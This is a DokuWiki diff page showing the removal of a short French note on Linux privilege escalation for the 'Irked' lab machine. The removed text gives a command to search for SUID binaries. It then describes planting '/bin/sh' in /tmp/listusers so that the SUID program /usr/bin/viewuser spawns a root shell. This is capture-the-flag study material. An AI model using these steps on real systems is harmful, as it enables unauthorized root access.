User Tools

Site Tools


hacking-privesc-gnu-linux

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
hacking-privesc-gnu-linux [2019/05/07 17:59] – created didzkovitchzhacking-privesc-gnu-linux [2020/12/15 20:51] (current) – removed didzkovitchz
Line 1: Line 1:
-Irked : 
  
-Recherche de fichiers avec SUID permissions : 
-<code> 
-find / -perm -u=s -type=f 2>/dev/null 
-</code> 
- 
-1 fichier intéressant trouvé : ''/usr/bin/viewuser'' 
- 
-Description : 
-<code> 
-So, when I run the program, I found that this application was being developed to set test user permissions but couldn’t find listusers file within /tmp. This program is, therefore, searching for data from the listusers file and the file is missing from the directory inside /tmp. 
-</code> 
- 
-Utilisation : 
- 
-<code> 
-echo '/bin/sh' > /tmp/listusers 
- 
-chmod 777 /tmp/listusers 
- 
-/usr/bin/viewuser 
-</code> 
- 
-*** 
- 
-[[https://www.hackingarticles.in/linux-privilege-escalation-via-automated-script/|Linux Privilege Escalation via Automated Script]] 
hacking-privesc-gnu-linux.1557244750.txt.gz · Last modified: 2019/05/07 17:59 by didzkovitchz